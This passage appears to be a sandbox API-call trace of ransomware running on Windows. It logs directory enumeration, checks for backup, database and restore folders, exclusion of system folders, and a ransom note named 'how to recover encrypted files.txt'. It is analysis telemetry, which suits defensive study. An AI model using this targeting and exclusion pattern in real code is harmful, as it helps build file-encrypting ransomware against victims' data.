lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0047.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0047.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0047.312] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL", cchWideChar=66, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLLe", lpUsedDefaultChar=0x0) returned 66 [0047.312] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0047.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OFFICE14\\WISC30.DLLe", lpUsedDefaultChar=0x0) returned 4 [0047.313] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0047.313] GetLastError () returned 0x12 [0047.313] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0047.313] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0047.313] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.313] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.313] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.313] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.313] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.313] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033", len=0x3c | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033") returned 1 [0047.313] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@冺R冎R企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0047.314] GetLastError () returned 0x3 [0047.314] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.314] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0047.315] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18㿬Q\x181")) returned 0xffffffff [0047.315] GetLastError () returned 0x2 [0047.315] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.315] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.316] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.316] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@帜R企@\x18?T\x18;")) returned 0xffffffff [0047.318] GetLastError () returned 0x2 [0047.318] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.318] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.318] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18D")) returned 0xffffffff [0047.319] GetLastError () returned 0x2 [0047.319] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.319] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0047.320] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.320] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@帜R企@\x18Q\x18j")) returned 0xffffffff [0047.321] GetLastError () returned 0x2 [0047.321] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.321] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.321] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.322] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@몤R企@\x18?T\x18q")) returned 0xffffffff [0047.323] GetLastError () returned 0x2 [0047.323] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\QP") returned 6 [0047.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.323] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18y")) returned 0xffffffff [0047.325] GetLastError () returned 0x2 [0047.325] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0047.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.325] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@몤R企@\x18?T\x18\x81")) returned 0xffffffff [0047.326] GetLastError () returned 0x2 [0047.327] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0047.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.327] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18\x88")) returned 0xffffffff [0047.328] GetLastError () returned 0x2 [0047.328] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0047.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.329] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@몤R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.330] GetLastError () returned 0x2 [0047.330] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0047.330] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.330] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="Q䱠@儔R企@\x18?T\x18\x97")) returned 0xffffffff [0047.332] GetLastError () returned 0x2 [0047.332] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0047.332] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.332] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.332] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.332] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.332] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.332] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.333] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.333] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.333] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.333] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.333] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.333] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.333] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.334] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.334] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.334] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0047.334] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0047.334] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.334] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0047.335] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\1033\\") returned 0x3d [0047.335] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.335] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.336] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 